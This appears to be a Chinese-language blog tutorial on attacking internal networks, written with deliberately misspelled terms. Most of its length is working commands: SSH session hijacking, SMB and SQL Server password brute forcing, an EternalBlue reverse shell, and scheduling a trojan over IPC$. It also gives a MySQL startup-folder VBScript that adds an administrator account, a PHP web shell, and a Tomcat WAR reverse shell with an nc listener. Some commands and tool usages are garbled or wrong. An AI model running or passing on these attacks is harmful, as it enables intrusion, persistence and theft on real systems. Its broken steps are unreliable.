• 操作系统限制：在某些操作系统中，端口 80 可能已经被其他服务占用，因此你可能需要选择其他端口。

示例命令（非特权端口）

如果你没有 root 权限，可以选择一个非特权端口（大于 1024 的端口）来启动服务器：

python3 -m http.server 8000

然后通过访问 http://localhost:8000 或 http://192.168.1.100:8000 来访问服务器。

wget http://172.31.1.16/sshpry2.py #下载sshpry.py
python sshpry.py

他还可以运行--list命令

查看当前都有几个目标的登录会话，我们可以用auto就可以了，他会自动选择去公鸡的目标会话，或者手动指定--tty /dev/pts/下面的任意一个会话

我们就先使用auto

python sshpry2.py --auto #自动找寻公鸡

可以看到自动定位在了2

都回显了完整的命令及回显，所有的一切都会被记录下来而且会自动保存为日志。

这个就是日志的路径，除了这个之外。通过这种方法实现的公鸡，它其实是一个镜像的完全一样的，也就是说，我在模拟公鸡端也可以操作会话。我在左侧执行的命令，也会直接返回到右侧。

且vi创建写一些文件，也会被记录到日志中去。不会丢，几乎是完美的解决方案。这是关于ssh会话的监听与劫持。

Windows自带的网络服务内网公鸡

一样还是先扫描发现主机然后发现端口最后发现服务这一套流程。s扫描器是一个小工具，操作简单又快速。这种小工具一般都是个人开发的，能力和扩展性都相对有限。大家可以去用，也可以通过kali自带的内网穿透工具二婚扫描器去扫，本质上是没有什么区别的

端口扫描的话可以使用metasploit直接去扫，也可以上传一个小工具，比如上面哪个s扫描器

use auxiliary/portscan/tcp

在 Windows 系统上使用 Metasploit 进行内网扫描以发现开放的端口和服务，可以采用以下步骤和命令示例。这些步骤将帮助你设置并运行 Metasploit 来扫描内网中的主机和服务。

准备工作

1. 安装 Metasploit：

• 最简单的方法是下载并安装 Kali Linux 的虚拟机，并在虚拟机中运行 Metasploit。
• 如果你想在 Windows 本机上安装 Metasploit，可以使用 MultiSystem 创建一个可引导的 Kali Linux USB 驱动器，并从那里启动 Metasploit。

2. 安装 Ruby 和 Metasploit：

• 如果你不打算使用 Kali Linux，可以在 Windows 上安装 Ruby 和 Metasploit。首先安装 Ruby，然后通过 RubyGems 安装 Metasploit 框架。

在 Windows 上安装 Ruby 和 Metasploit

1. 安装 Ruby：

• 访问 Ruby 官方网站 下载适合 Windows 的 Ruby 安装包。
• 安装 Ruby 时确保选择“Add Ruby executables to your PATH”。

2. 安装 Metasploit：

• 打开命令提示符或 PowerShell。
• 运行以下命令安装 Metasploit：

gem install metasploit-term

启动 Metasploit 控制台

1. 启动 Metasploit 控制台：

• 在命令提示符或 PowerShell 中运行以下命令启动 Metasploit 控制台：

msfconsole

扫描内网

接下来，你可以使用 Metasploit 中的模块来扫描内网中的主机和服务。

使用 auxiliary/scanner/portscan/tcp 模块

1. 加载模块：

use auxiliary/scanner/portscan/tcp

1. 设置选项：

• 设置目标 IP 地址范围，例如 192.168.1.1-254。
• 设置端口范围，例如 1-1024。

set RHOSTS 192.168.1.1-254
set RPORTS 1-1024

1. 运行扫描：

run

使用 auxiliary/scanner/nmap/nmap 模块

1. 加载模块：

use auxiliary/scanner/nmap/nmap

1. 设置选项：

• 设置目标 IP 地址范围。
• 设置 Nmap 的扫描选项，例如 -sV 表示进行服务版本检测。

set rhosts 192.168.1.1-254
set nmap_args "-sV"

1. 运行扫描：

run

示例命令

假设你想扫描 IP 地址范围 192.168.1.1-254 并检测服务版本：

• 启动 Metasploit 控制台：

msfconsole

• 加载 Nmap 模块：

use auxiliary/scanner/nmap/nmap

• 设置选项：

set rhosts 192.168.1.1-254
set nmap_args "-sV"

• 运行扫描：

run

linux端metasploit

Metasploit 是一个用于渗投测试和漏动管理的开源框架，常被用来进行安全审计工作，包括漏动利用、后们植入以及网络扫描等。要使用 Metasploit 来扫描内网并发现开放的服务和端口，你需要遵循以下步骤，并使用相应的命令。

准备工作

1. 安装 Metasploit：首先确保你的系统上已经安装了 Metasploit 框架。通常可以通过下载 Kali Linux 或者使用 RubyGems 安装。
2. 更新 Metasploit：确保 Metasploit 框架是最新的，可以通过运行 msfupdate（如果是基于 Kali Linux 的系统）或者 gem update metasploit-framework 来完成。

启动 Metasploit 控制台

打开终端并启动 Metasploit 控制台：

msfconsole

扫描内网

接下来，你可以使用 Metasploit 中的 auxiliary/scanner/portscan 模块来扫描内网中的主机和服务。

步骤示例

• 加载模块：

use auxiliary/scanner/portscan

• 设置选项：

• 设置目标 IP 地址范围，例如 192.168.1.1-254。
• 设置端口范围，例如 1-1024。

set RHOSTS 192.168.1.1-254
set PORTS 1-1024

• 运行扫描：

run

查看结果

一旦扫描完成，Metasploit 将会显示哪些主机在线以及它们开放的端口和服务。

使用更复杂的扫描

对于更复杂的扫描任务，比如使用特定的 NSE 脚本或针对已知漏动进行扫描，你可以使用 Metasploit 的其他模块，比如 auxiliary/scanner/nmap 模块，该模块允许你使用 Nmap 引擎来进行扫描。

示例命令

• 加载模块：

use auxiliary/scanner/nmap/nmap

• 设置选项：

• 设置目标 IP 地址范围。
• 设置 Nmap 的扫描选项，例如 -sV 表示进行服务版本检测。

set rhosts 192.168.1.1-254
set nmap_args "-sV"

• 运行扫描：

run

Metasploit针对SMB进行弱口令扫描

载入auxiliary/scanner/smb/smb login模块

use auxiliary/scanner/smb/smb login

设置扫描参数

set PASS_FILE /root/pass.txt

set SMBUser administrator

set threads 50

set rhosts 192.168.0.0/24

当然，以下是对你提供的 Metasploit 代码的解释：

代码解释

# 载入 auxiliary/scanner/smb/smb_login 模块
use auxiliary/scanner/smb/smb_login

# 设置扫描参数
set PASS_FILE /root/pass.txt
set SMBUser administrator
set threads 50
set rhosts 192.168.0.0/24

逐行解释

1. 载入 auxiliary/scanner/smb/smb_login 模块

use auxiliary/scanner/smb/smb_login

• use 命令：这个命令用于加载 Metasploit 中的特定模块。在这里，我们加载的是 auxiliary/scanner/smb/smb_login 模块，这个模块用于扫描 SMB（Server Message Block）协议的登录凭据。
• 模块作用：这个模块可以尝试使用提供的用户名和密码列表来登录 SMB 服务，以检测哪些主机的 SMB 服务可以被成功认证。

1. 设置扫描参数

• 设置密码文件路径：

set PASS_FILE /root/pass.txt

• PASS_FILE 参数：这个参数用于指定一个包含密码列表的文件路径。在这个例子中，密码文件的路径为 /root/pass.txt。这个文件应该包含一行一个密码。

• 设置用户名：

set SMBUser administrator

• SMBUser 参数：这个参数用于指定尝试登录 SMB 服务的用户名。在这个例子中，使用的用户名为 administrator。

• 设置线程数：

set threads 50

• threads 参数：这个参数用于设置并发执行的线程数。在这个例子中，设置了 50 个并发线程。更多的线程数可以加快扫描速度，但也可能导致更高的网络负载。

• 设置目标主机范围：

set rhosts 192.168.0.0/24

• rhosts 参数：这个参数用于指定要扫描的目标主机或网络范围。在这个例子中，扫描的目标网络范围为 192.168.0.0/24，这意味着扫描整个 192.168.0.0 网段内的所有主机。

执行扫描

一旦设置好所有参数，你可以运行扫描模块：

run

这将启动扫描，并使用 administrator 作为用户名，从 /root/pass.txt 文件中读取密码列表，尝试登录 192.168.0.0/24 网段内的所有主机的 SMB 服务。

示例输出

假设扫描完成后，你可能会看到类似以下的输出：

[*] 192.168.0.10 - SMB Login Failed - administrator:password1
[*] 192.168.0.10 - SMB Login Successful - administrator:correct_password
[*] 192.168.0.11 - SMB Login Failed - administrator:password2
...
[*] Auxiliary module execution completed

这表明模块尝试了多个密码，并成功找到了一些主机的有效凭证。

用这种小工具扫也可以，用这些小工具挂一些弱扣令去破接内网的服务也ok。

用kali上的X-scan也可以，这个已经是很老的工具了。这种很古老的工具大家视情况而定来使用，你觉着用的习惯就可以用，用着不习惯就算了，可以用一些新的工具也ok，这个看个人习惯。

ROC入侵

ROC（Remote Operations Computer）入侵通常指的是对远程操作计算机系统的公鸡，这种公鸡可能涉及利用各种漏动来获得对远程系统的控制权。然而，“ROC”并非一个特定的技术术语，而是可能指代不同的情境下的远程操作或远程控制技术。

为了提供一个具体的示例，我将以常见的远程操作场景为例，介绍如何利用 Metasploit 框架进行远程入侵，并提供一个具体的利用过程和代码示例。

利用过程概述

1. 侦察阶段：收集目标系统的相关信息，包括 IP 地址、开放端口、服务版本等。
2. 漏动扫描：扫描目标系统存在的漏动。
3. 漏动利用：选择合适的漏动利用模块并配置相关参数。
4. 获取 shell：利用漏动获取目标系统的 shell 访问权限。
5. 维持访问：确保持久化访问，以便后续操作。

示例：利用 Metasploit 框架进行远程入侵

假设我们已经通过侦察阶段发现目标系统存在一个已知的漏动，例如 MS17-010（永恒之蓝），我们可以使用 Metasploit 框架来利用这个漏动。

1. 启动 Metasploit 控制台

msfconsole

2. 加载漏动利用模块

use exploit/windows/smb/ms17_010_eternalblue

3. 设置参数

set PAYLOAD windows/shell/reverse_tcp
set RHOSTS 192.168.1.100
set LHOST 192.168.1.1
set LPORT 4444

• PAYLOAD：设置要使用的有效载荷。在这个例子中，我们使用 windows/shell/reverse_tcp，这意味着我们将获得一个反向 TCP shell。
• RHOSTS：设置目标主机的 IP 地址或 IP 地址范围。在这个例子中，目标 IP 地址为 192.168.1.100。
• LHOST：设置监听主机的 IP 地址。在这个例子中，监听 IP 地址为 192.168.1.1。
• LPORT：设置监听端口。在这个例子中，监听端口为 4444。

4.运行漏动利用模块

exploit

5. 获取 shell

如果漏动利用成功，Metasploit 会自动处理漏动利用过程，并最终获得一个 shell。

示例输出

假设漏动利用成功，你可能会看到以下输出：

[*] Started reverse TCP handler on 192.168.1.1:4444 
[*] Sending stage (175178 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.100:50191) at 2024-09-04 15:00:00 +0000

meterpreter >

此时，你已经获得了目标系统的 shell 访问权限，并可以使用 Meterpreter 进行进一步的操作。

445端口上ipc$入侵

建立ipcs连接
net use \\xxx.xxx.xxx.xxxipc$"密码"/user:"Administrator"复制文件到目标主机共享
copy 文件\\xxx.xxx.xxx.xxx\cS查看对方主机时间
net time \\xxx.xxx.xxx.xxX添加计划任务运行木马
at\\xxx.xxx.xxx.xxx时间木马.exe

步骤详解

假设你已经获得了必要的授权，并且正在进行合法的安全测试。下面是如何通过 445 端口上的 IPC$ 共享进行一系列操作的步骤：

1. 建立 IPC$ 连接
2. 复制文件到目标主机共享
3. 查看对方主机时间
4. 添加计划任务运行木马

1. 建立 IPC$ 连接

首先，你需要验证是否可以通过 IPC$ 共享连接到目标主机，并尝试使用已知的凭据进行连接。

net use \\xxx.xxx.xxx.xxx\IPC$ "密码" /user:"Administrator"

• xxx.xxx.xxx.xxx：目标主机的 IP 地址。
• 密码：已知的管理员密码。
• Administrator：管理员用户名。

如果连接成功，你将看到一条消息提示连接成功。

2. 复制文件到目标主机共享

一旦建立了 IPC$ 连接，你可以通过该连接复制文件到目标主机的 C:\Windows\Temp 目录或其他位置。

copy 文件 \\xxx.xxx.xxx.xxx\c$\Windows\Temp

• 文件：要复制到目标主机的文件路径。
• \\xxx.xxx.xxx.xxx\c$\Windows\Temp：目标主机上的目标目录。

注意：在 Windows 系统中，\\xxx.xxx.xxx.xxx\c$ 表示目标主机的 C 盘。

3. 查看对方主机时间

你可以使用 net time 命令来查看目标主机的时间。

net time \\xxx.xxx.xxx.xxx

这将显示目标主机的时间，以便你进行同步或其他操作。

4. 添加计划任务运行木马

最后，你可以尝试添加一个计划任务来定期运行一个木马程序。

schtasks /create /tn "MyTask" /tr "\\xxx.xxx.xxx.xxx\c$\Windows\Temp\木马.exe" /sc daily /st 02:00

• /tn "MyTask"：任务名称。
• /tr "\\xxx.xxx.xxx.xxx\c$\Windows\Temp\木马.exe"：任务运行的程序路径。
• /sc daily：任务的调度类型（每天）。
• /st 02:00：任务开始的时间（每天凌晨 2 点）。

示例代码

假设你已经成功连接到了目标主机，并且想要复制一个名为 trojan.exe 的文件到目标主机的 C:\Windows\Temp 目录，并设置一个每天凌晨 2 点运行的任务。

建立 IPC$ 连接

net use \\192.168.1.100\IPC$ "password" /user:"Administrator"

复制文件

copy C:\local\trojan.exe \\192.168.1.100\c$\Windows\Temp

查看对方主机时间

net time \\192.168.1.100

添加计划任务

schtasks /create /tn "MyTask" /tr "\\192.168.1.100\c$\Windows\Temp\trojan.exe" /sc daily /st 02:00

第三方网络服务概述

在操作系统中运行的非系统厂商提供的网络服务都可以称之为第三方网络服务，与系统厂商提供的网络服务没有本质区别，比较常见额包括提供HTTP服务的Apache、lBMWebSphere、Tomcat等;提供SOL数据库服务的Oracle、Mysql等;以及提供FTP服务的Serv-U、FileZila

等等，其中由于一些网络服务产品的使用范围非常大，一旦出现安全漏动，将会对互联网上运行该服务的主机造成严重的安全威胁。当第三方出现漏动时，影响范围往往特别大而且仅目标系统的维护与开发人员绝大多数都难以解决。

1433端口的SQLServer服务公鸡

首先通过S扫描器或者Metasploit portscan扫描模块对内网进行

1433端口扫描，将存在1433端口的IP整理成ips.txt文档

1433漏口令扫描器进行扫描

ip.txt中填写需要扫描的IP段

运行启动.bat

在进行任何网络安全测试之前，必须确保你已经获得了所有必要的授权，并且仅在合法的测试环境中进行。未经授权的网络活动是非法的，并且违反道德规范。

下面是一个示例流程，展示如何使用 Metasploit 和其他工具对 SQL Server 服务（通常监听在 1433 端口）进行漏动扫描和弱口令扫描。我们将分为几个步骤来完成这一过程：

1. 扫描 1433 端口

首先，我们需要扫描内网中的主机，确定哪些主机开放了 1433 端口。

使用 Metasploit 进行端口扫描

1. 启动 Metasploit 控制台：

msfconsole

1. 加载端口扫描模块：

use auxiliary/scanner/portscan/tcp

1. 设置参数：

set RHOSTS 192.168.1.0/24
set RPORTS 1433

1. 运行扫描：

run

1. 收集结果： 将扫描结果中的 IP 地址记录下来，并整理成一个文本文件 ips.txt。例如：

192.168.1.10
192.168.1.11
192.168.1.12
...

2. 进行弱口令扫描

准备弱口令扫描工具

假设你已经有了一个弱口令扫描工具，例如 sqlninja 或 sqlmap。这里以 sqlmap 为例，假设你已经安装了 sqlmap。

创建启动脚本

创建一个批处理文件 start.bat，用于自动化执行弱口令扫描。

1. 创建 ips.txt 文件：

192.168.1.10
192.168.1.11
192.168.1.12
...

1. 创建 start.bat 文件：

@echo off
setlocal enabledelayedexpansion

for /f "tokens=* delims=" %%i in (ips.txt) do (
    echo Scanning %%i
    sqlmap -u "jdbc:sqlserver://%%i:1433" --usernames-file usernames.txt --passwords-file passwords.txt --batch
)
endlocal

• -u 参数：指定数据库的连接字符串。
• --usernames-file 参数：指定用户名列表文件。
• --passwords-file 参数：指定密码列表文件。
• --batch 参数：启用批处理模式，不需要交互确认。

1. 准备用户名和密码文件： 创建两个文本文件 usernames.txt 和 passwords.txt，分别包含常用的用户名和密码。

sa
administrator
admin

password123
admin
123456

3. 运行启动脚本

1. 运行 start.bat 文件：

start.bat

这将依次扫描 ips.txt 文件中列出的每个 IP 地址，并尝试使用 sqlmap 进行弱口令扫描。

使用netstat -an 查看3389端口是否开启

如果服务器3389端口没有开启，可以使用cmd来开启3389，只对xp和windows2003有效果

REG ADD HKLM\SYSTEMCurrentControlSet\ControlTerminal""Server/vfDenyTSConnections /t REG DWORD /d 00000000 /f

使用3306弱口令扫描器进行内网3306端口弱口令扫描

基本上有了kali端metasploit和msf其实都一样，功能都是重叠的。

insert into a values ("set wshshell=createobject(""wscript.shell"" )" );
insert into a values ("a=wshshell.run (""cmd.exe /c net user a1234 /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c netlocalgroup Administrators a /add"",0) " );

代码解释

这段代码假设你正在使用一个支持存储过程或动态 SQL 的数据库系统，如 Microsoft SQL Server 或 MySQL。

1. 创建 WScript.Shell 对象：

insert into a values ("set wshshell=createobject('wscript.shell') ");

• createobject('wscript.shell')：创建一个 WScript.Shell COM 对象。WScript.Shell 对象可以用来执行 Windows 命令行操作。

1. 创建新用户：

insert into a values ("a=wshshell.run (\"cmd.exe /c net user a1234 /add\",0)");

• wshshell.run：通过 WScript.Shell 对象运行一个命令。这里的命令是 cmd.exe /c net user a1234 /add，用于在目标系统上创建一个名为 a1234 的新用户。
• 0：表示以隐藏方式运行命令（不显示命令提示符窗口）。

1. 将新用户添加到管理员组：

insert into a values ("b=wshshell.run (\"cmd.exe /c net localgroup Administrators a /add\",0) ");

• wshshell.run：通过 WScript.Shell 对象运行一个命令。这里的命令是 cmd.exe /c net localgroup Administrators a /add，用于将用户 a1234 添加到管理员组。

整体意图

这些 SQL 语句试图通过注入恶意命令到数据库表中，然后通过某种方式触发这些命令的执行，从而在目标系统上创建一个新的用户 a1234 并将其添加到管理员组。

mysql>select * from ainto outfile"c:\\docume1|alluse1\「开始」菜单\\程序\\启动\\a.vbs";

把表中的内容输入到启动组中，是一个VBS的脚本文件!注意““符号。

这个操作必须是你得musql账号试具有导入导出权限的，管理员必须给你留了这样的权限才能执行这个操作，否则这条路就是走不通的。

这段 SQL 语句尝试从数据库表 a 中选择所有数据，并将结果导出到一个指定的文件路径。具体来说，这段代码试图将数据导出到 Windows 系统的一个启动文件夹中的 .vbs 文件，以便在系统启动时自动执行该脚本。这种操作通常是恶意的，并且涉及潜在的安全风险。

代码解释

mysql> SELECT * FROM a INTO OUTFILE 'c:\\docume1|alluse1\「开始」菜单\\程序\\启动\\a.vbs';

逐行解释

1. SELECT * FROM a：

• 选择表 a 中的所有列和所有行的数据。

2. INTO OUTFILE 'c:\\docume1|alluse1\「开始」菜单\\程序\\启动\\a.vbs'：

• 将选择的数据导出到指定的文件路径。

文件路径解析

• c:\\docume1|alluse1\「开始」菜单\\程序\\启动\\a.vbs：

• c:\\：指定 C 盘根目录。
• docume1|alluse1：这部分路径看起来不正确，可能是故意混淆或误写。
• 「开始」菜单 和 程序：这些是中文路径部分。
• 启动：这是一个特殊的文件夹，通常位于 C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup 或 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup。
• a.vbs：指定导出的文件名，.vbs 是 VBScript 文件的扩展名。

随着互联网的发达，大家对安全也越来越重视，存放在互联网上的WEB服务应用也越来越难以入侵

但是大部分企业对自己的内网WEB应用却忽视安全问题,甚至出现名种弱口令，上传，iis写权限等等

IIS写权限利用

写权限漏动主要跟I1S的webdav服务扩展还有网站的一些权限设置有关系。

如果开启webDAV服务不开启写入权限则没有上传任何文件的权限提交后返回下图。

文件上传直接写入的漏动，kali上也有。

IIS（Internet Information Services）是微软提供的一种Web服务器解决方案，常用于托管网站和Web应用程序。如果 IIS 服务器配置不当，可能会导致公鸡者利用写权限来上传恶意文件或执行其他恶意操作。

IIS 写权限利用的基本概念

当 IIS 服务器上的应用程序池或站点配置了对物理文件系统的写权限时，公鸡者可以通过 Web 应用程序接口上传恶意文件。这些恶意文件可以是 Web Shell 或其他类型的恶意脚本，用于进一步控制服务器。

利用步骤

1. 确认 IIS 服务器存在写权限：

• 首先，需要确认 IIS 服务器上的应用程序池或站点配置了对物理文件系统的写权限。
• 可以通过上传一个测试文件来验证写权限的存在。

2. 上传恶意文件：

• 如果确认存在写权限，可以上传一个恶意文件（如 Web Shell）到服务器上。

3. 执行恶意文件：

• 通过浏览器或其他方式访问上传的恶意文件，使其执行。

示例步骤

假设你已经确认 IIS 服务器存在写权限，并且你有权在测试环境中进行测试。

1. 上传测试文件

首先，上传一个测试文件来验证写权限的存在。例如，上传一个简单的 PHP 文件：

<?php phpinfo(); ?>

保存为 test.php，并通过 Web 应用程序接口上传到服务器的某个目录。

2. 访问测试文件

通过浏览器访问上传的文件，以确认写权限：

http://example.com/path/to/test.php

如果页面显示了 PHP 信息，则证明存在写权限。

3. 上传 Web Shell

一旦确认存在写权限，可以上传一个 Web Shell，用于进一步控制服务器。这里使用一个简单的 PHP Web Shell 作为示例：

<?php
if(isset($_REQUEST['cmd'])) {
    system($_REQUEST['cmd']);
}
?>

保存为 webshell.php，并通过 Web 应用程序接口上传到服务器的某个目录。

4. 访问 Web Shell

通过浏览器访问上传的 Web Shell，并传递命令参数：

http://example.com/path/to/webshell.php?cmd=whoami

如果页面显示了命令执行的结果，例如当前用户的用户名，则证明 Web Shell 成功执行。

也可以用这一类的小工具来做

当webDAV服务扩展开启，并且网站开启了写入权限和脚本资源访问

然后就成功写入了shell文件，这种国内个人开发的小工具往往针对个别的、单个的漏动而开发的。但是可能换一个系统，换一种环境它就失效了，专职专用。

Tomcat后台如果存在弱口令的话，那我们是可以利用弱口令去上传一个war包文件

弱口令检测小工具

上传war包，其实就是webshell来实现控制他的效果，那么这个war包如何获得呢

使用msf拿tomcat后台shell

启动Tomcat，上传WAR包

登录帐号配置:sploit/sploit

生成 war 包msfvenom -p java/jsp shell reverse tcp LHOST=10.0.1.1LPORT=4444-fwar>shel.war

D: http://1.1.1.1:8282/shell/

A: nc -nvlp 4444

在合法的安全测试环境中，使用 Metasploit 框架获取 Tomcat 服务器的 shell 是一种常见的渗投测试技术。Tomcat 服务器通常用于部署 Java Web 应用程序，如果存在漏动，可以利用这些漏动来获取对服务器的控制权。

下面是一个示例步骤，展示如何使用 Metasploit 框架来获取 Tomcat 服务器的 shell。

前提条件

1. 安装 Metasploit：确保你的系统中已经安装了 Metasploit 框架。
2. 目标系统信息：知道目标 Tomcat 服务器的 IP 地址和端口号，默认端口号为 8080。

示例步骤

1. 启动 Metasploit 控制台：

msfconsole

1. 加载漏动利用模块：

use exploit/multi/http/tomcat_mgr_deploy

这个模块利用 Tomcat 的 Manager 应用程序部署功能来上传恶意 JSP 文件。

1. 设置模块参数：

set RHOSTS target_ip_address
set RPORT 8080
set USERNAME manager
set PASSWORD manager
set WAR /tmp/meterpreter.war
set TARGETURI /manager/text

• RHOSTS：目标服务器的 IP 地址。
• RPORT：目标服务器的端口号，默认为 8080。
• USERNAME：Tomcat Manager 应用程序的用户名，默认为 manager。
• PASSWORD：Tomcat Manager 应用程序的密码，默认为 manager。
• WAR：包含恶意 JSP 文件的 WAR 包路径。
• TARGETURI：Tomcat Manager 应用程序的 URI，默认为 /manager/text。

1. 生成恶意 JSP 文件：

msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker_ip_address LPORT=4444 -f war -o /tmp/meterpreter.war

• LHOST：公鸡者的 IP 地址。
• LPORT：公鸡者的监听端口号。
• -f war：生成 WAR 包格式。
• -o /tmp/meterpreter.war：指定输出文件路径。

1. 监听回调：

use multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST attacker_ip_address
set LPORT 4444
exploit

1. 运行漏动利用模块：

exploit

示例代码

假设目标 Tomcat 服务器的 IP 地址为 192.168.1.100，公鸡者的 IP 地址为 192.168.1.1，端口号为 8080。

1. 启动 Metasploit 控制台：

msfconsole

1. 加载漏动利用模块：

use exploit/multi/http/tomcat_mgr_deploy

1. 设置模块参数：

set RHOSTS 192.168.1.100
set RPORT 8080
set USERNAME manager
set PASSWORD manager
set WAR /tmp/meterpreter.war
set TARGETURI /manager/text

1. 生成恶意 JSP 文件：

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f war -o /tmp/meterpreter.war

1. 监听回调：

use multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
exploit

1. 运行漏动利用模块：

exploit

示例输出

如果漏动利用成功，Metasploit 会显示成功的信息，并且你会获得一个 shell。

[*] Started reverse TCP handler on 192.168.1.1:4444 
[*] Sending stage (175178 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.100:50191) at 2024-09-04 15:00:00 +0000

meterpreter >

此时，你已经获得了目标系统的 shell 访问权限，并可以使用 Meterpreter 进行进一步的操作。

这个就不讲了，这个我在博客里已经发过了。

点击工具栏上面的配置按钮选择适配器，选择嗅探端口等功能。

选择嗅探的端口-选择开启嗅探功能-选择嗅探器功能区，右键选择扫描MAC地址。这个软件挺棒的就是太老了，一直也没有更新。